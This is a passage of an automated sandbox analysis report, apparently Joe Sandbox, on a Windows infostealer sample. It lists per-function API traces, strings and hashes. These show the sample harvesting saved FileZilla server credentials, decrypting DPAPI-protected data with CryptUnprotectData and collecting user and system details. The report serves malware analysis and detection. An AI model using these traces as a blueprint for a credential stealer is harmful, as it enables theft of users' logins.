CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0078A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0078A2F3
memcpy.MSVCRT(?,?,?), ref: 0078A316
LocalFree.KERNEL32(?), ref: 0078A323

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: d62e13908c8ff479d60664d5c9e741cee2ceb07457f0ec14308a33b41dff65de
Instruction ID: 77d81874b255ccedabb0b714ac70e45580cd4073ff3217e083d61eddcf09dd70
Opcode Fuzzy Hash: d62e13908c8ff479d60664d5c9e741cee2ceb07457f0ec14308a33b41dff65de
Instruction Fuzzy Hash: 8311A5B8A00209EFCB04DFA8D988AAEB7B5FF88301F108559F915A7350D774AE51CF61

Function 00797BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000), ref: 00797BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000,?), ref: 00797BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000,?), ref: 00797C0D
wsprintfA.USER32 ref: 00797C47

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: adfa5ec53f002b9af5d486d0df1d0b6634caec806548a8d61026128090b634be
Instruction ID: 7f69a8e5d7c78007030bb47a860905547983148f5d77dfc8b824989c5de4e807
Opcode Fuzzy Hash: adfa5ec53f002b9af5d486d0df1d0b6634caec806548a8d61026128090b634be
Instruction Fuzzy Hash: E911CEB0909218EBEB20CB54EC45FADB778FB41711F000395F60AA32C0CB781A40CB50

Function 007979E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007811B7), ref: 00797A10
HeapAlloc.KERNEL32(00000000,?,?,?,007811B7), ref: 00797A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00797A2F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: eb19b799cc7e54969fd72e4de7e5d30aed3c9c7f82a66b8a46bb36670fede8a1
Instruction ID: 4acf5811975e0371b28374d55d75c3a7b226e07d7758fc6efa2f085144ea63ee
Opcode Fuzzy Hash: eb19b799cc7e54969fd72e4de7e5d30aed3c9c7f82a66b8a46bb36670fede8a1
Instruction Fuzzy Hash: DEF04FB1948309EBCB14DFD8ED45BAEBBB8FB09711F10421AF619A2680C7751900CBA1

Function 00798060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(007A0E14), ref: 00798090
wsprintfA.USER32 ref: 007980A6

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: e4369fa4002457239a20aab7f02dd73cdc99563c4aef492c6cd3fad554c6f0e3
Instruction ID: 6ef850cfb6170328666e50953a707433621b6bbed26b6009b6b2f274d59a235c
Opcode Fuzzy Hash: e4369fa4002457239a20aab7f02dd73cdc99563c4aef492c6cd3fad554c6f0e3
Instruction Fuzzy Hash: 3BF06DF1904208ABCB10CF88ED45FAAF7BCFB49B14F000669F515A2280D7796904CBE1

Function 00787770 Relevance: 98.6, APIs: 54, Strings: 2, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00796414,?), ref: 00787784
RtlAllocateHeap.NTDLL(00000000,?,00796414,?), ref: 0078778B
lstrcatA.KERNEL32(?,00EDDEC0,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 0078793B
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 0078794F
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787963
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787977
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 0078798B
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 0078799F
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 007879B2
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 007879C6
lstrcatA.KERNEL32(?,00EDDF48,?,00796414,?), ref: 007879DA
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 007879EE
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787A02
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787A16
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 00787A29
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 00787A3D
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 00787A51
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 00787A64
lstrcatA.KERNEL32(?,00EDDFB0,?,00796414,?), ref: 00787A78
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787A8C
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787AA0
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787AB4
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 00787AC8
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 00787ADB
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 00787AEF
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 00787B03
lstrcatA.KERNEL32(?,00EDE018,?,00796414,?), ref: 00787B16
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787B2A
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787B3E
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787B52
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 00787B66
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 00787B7A
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 00787B8D
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 00787BA1
lstrcatA.KERNEL32(?,00EE2E28,?,00796414,?), ref: 00787BB5
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787BC9
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787BDD
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787BF1
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 00787C04
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 00787C18
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 00787C2C
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 00787C3F
lstrcatA.KERNEL32(?,00EE2E90,?,00796414,?), ref: 00787C53
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787C67
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787C7B
lstrcatA.KERNEL32(?,?,?,00796414,?), ref: 00787C8F
lstrcatA.KERNEL32(?,00EE0C50,?,00796414,?), ref: 00787CA3
lstrcatA.KERNEL32(?,00EE0A40,?,00796414,?), ref: 00787CB6
lstrcatA.KERNEL32(?,00EE0C68,?,00796414,?), ref: 00787CCA
lstrcatA.KERNEL32(?,00EE0C80,?,00796414,?), ref: 00787CDE

Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,007A192C,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?,?,00796414), ref: 00787666
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,00000000,00000000), ref: 007876A8
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020, : ), ref: 007876BA
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,00000000,00000000,00000000), ref: 007876EF
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,007A1934), ref: 00787700
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,00000000,00000000,00000000), ref: 00787733
Part of subcall function 00787630: lstrcatA.KERNEL32(279AF020,007A1938), ref: 0078774D
Part of subcall function 00787630: task.LIBCPMTD ref: 0078775B

lstrcatA.KERNEL32(?,00EDA8E0,?,00000104), ref: 00787E6B
lstrcatA.KERNEL32(?,00EE1608), ref: 00787E7E
lstrlenA.KERNEL32(279AF020), ref: 00787E8B
lstrlenA.KERNEL32(279AF020), ref: 00787E9B

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Strings

@, xrefs: 00787991, 00787A2F, 00787ACE, 00787B6C, 00787C0A, 00787CA9
(., xrefs: 00787BA7

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: (.$@
API String ID: 928082926-1928813978
Opcode ID: 0c0060fcf20f3be1fdc3f277b53b8e606eebb86ed9f9684cc9752f5c40860cea
Instruction ID: d5f6c4d0449cf5c0455f7b4a5f665284e077b1723d1771b62c8d3e3ae9ce4520
Opcode Fuzzy Hash: 0c0060fcf20f3be1fdc3f277b53b8e606eebb86ed9f9684cc9752f5c40860cea
Instruction Fuzzy Hash: B13224F6900354ABDB55EBA0EC99DDE733CBB58701F444A98F209A2090DE74E789CF51

Function 007903B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0078A13C
Part of subcall function 0078A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0078A161
Part of subcall function 0078A110: LocalAlloc.KERNEL32(00000040,?), ref: 0078A181
Part of subcall function 0078A110: ReadFile.KERNEL32(000000FF,?,00000000,00790447,00000000), ref: 0078A1AA
Part of subcall function 0078A110: LocalFree.KERNEL32(00790447), ref: 0078A1E0
Part of subcall function 0078A110: CloseHandle.KERNEL32(000000FF), ref: 0078A1EA

Part of subcall function 00798FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00798FE2

strtok_s.MSVCRT ref: 0079047B
GetProcessHeap.KERNEL32(00000000,000F423F,007A0DBF,007A0DBE,007A0DBB,007A0DBA), ref: 007904C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007A0DB7), ref: 007904C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 007904E5
lstrlenA.KERNEL32(00000000), ref: 007904F3

Part of subcall function 00798A70: malloc.MSVCRT ref: 00798A78
Part of subcall function 00798A70: strncpy.MSVCRT ref: 00798A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0079052F
lstrlenA.KERNEL32(00000000), ref: 0079053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00790579
lstrlenA.KERNEL32(00000000), ref: 00790587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 007905C3
lstrlenA.KERNEL32(00000000), ref: 007905D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007A0DB7), ref: 00790662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0079067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00790692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 007906AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 007906C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 007906D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 007906E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 007906F3
lstrcatA.KERNEL32(?,007A1770,?,?,00000000), ref: 00790702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00790715
lstrcatA.KERNEL32(?,007A1774,?,?,00000000), ref: 00790724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00790733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00790746
lstrcatA.KERNEL32(?,007A1780,?,?,00000000), ref: 00790755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00790764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00790777
lstrcatA.KERNEL32(?,007A1790,?,?,00000000), ref: 00790786
lstrcatA.KERNEL32(?,007A1794,?,?,00000000), ref: 00790795
strtok_s.MSVCRT ref: 007907D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,007A0DB7), ref: 007907EE
memset.MSVCRT ref: 0079083D

Strings

<User>, xrefs: 00790570
url: , xrefs: 007906D7
profile: null, xrefs: 007906C8
<Pass encoding="base64">, xrefs: 007905BA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00790404
<Port>, xrefs: 00790526
login: , xrefs: 0079072A
password: , xrefs: 0079075B
<Host>, xrefs: 007904DC
browser: FileZilla, xrefs: 007906B9

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 72435ca913bd528e6aada09412d5ca4977bc4f35c8cf3dce27c2824559c0aa5c
Instruction ID: 20a5697210e9c93b3ed022ae06df65950c71c13b164f7a491cf6c516b4f36aaa
Opcode Fuzzy Hash: 72435ca913bd528e6aada09412d5ca4977bc4f35c8cf3dce27c2824559c0aa5c
Instruction Fuzzy Hash: B6D12CB1A11208FBDF04EBE0ED5AEEE7739BF55301F408554F102B60A5DE38AA45CBA5

Function 00799BB0 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00ED9198), ref: 00799BF1
GetProcAddress.KERNEL32(75900000,00ED9168), ref: 00799C0A
GetProcAddress.KERNEL32(75900000,00ED91C8), ref: 00799C22
GetProcAddress.KERNEL32(75900000,00ED9138), ref: 00799C3A
GetProcAddress.KERNEL32(75900000,00ED9180), ref: 00799C53
GetProcAddress.KERNEL32(75900000,00ED70D8), ref: 00799C6B
GetProcAddress.KERNEL32(75900000,00ED6750), ref: 00799C83
GetProcAddress.KERNEL32(75900000,00ED68B0), ref: 00799C9C
GetProcAddress.KERNEL32(75900000,00ED91B0), ref: 00799CB4
GetProcAddress.KERNEL32(75900000,00ED91E0), ref: 00799CCC
GetProcAddress.KERNEL32(75900000,00ED91F8), ref: 00799CE5
GetProcAddress.KERNEL32(75900000,00ED9450), ref: 00799CFD
GetProcAddress.KERNEL32(75900000,00ED6930), ref: 00799D15
GetProcAddress.KERNEL32(75900000,00ED93C0), ref: 00799D2E
GetProcAddress.KERNEL32(75900000,00ED93D8), ref: 00799D46
GetProcAddress.KERNEL32(75900000,00ED6990), ref: 00799D5E
GetProcAddress.KERNEL32(75900000,00ED9240), ref: 00799D77
GetProcAddress.KERNEL32(75900000,00ED9468), ref: 00799D8F
GetProcAddress.KERNEL32(75900000,00ED68F0), ref: 00799DA7
GetProcAddress.KERNEL32(75900000,00ED9420), ref: 00799DC0
GetProcAddress.KERNEL32(75900000,00ED66D0), ref: 00799DD8
LoadLibraryA.KERNEL32(00ED93A8,?,00796CA0), ref: 00799DEA
LoadLibraryA.KERNEL32(00ED94C8,?,00796CA0), ref: 00799DFB
LoadLibraryA.KERNEL32(00ED9330,?,00796CA0), ref: 00799E0D
LoadLibraryA.KERNEL32(00ED93F0,?,00796CA0), ref: 00799E1F
LoadLibraryA.KERNEL32(00ED9378,?,00796CA0), ref: 00799E30
GetProcAddress.KERNEL32(75070000,00ED9480), ref: 00799E52
GetProcAddress.KERNEL32(75FD0000,00ED92A0), ref: 00799E73
GetProcAddress.KERNEL32(75FD0000,00ED9318), ref: 00799E8B
GetProcAddress.KERNEL32(75A50000,00ED9408), ref: 00799EAD
GetProcAddress.KERNEL32(74E50000,00ED6950), ref: 00799ECE
GetProcAddress.KERNEL32(76E80000,00ED7118), ref: 00799EEF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00799F06

Strings

Pg, xrefs: 00799C76
Pi, xrefs: 00799EC1
0i, xrefs: 00799D08
NtQueryInformationProcess, xrefs: 00799EFA

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
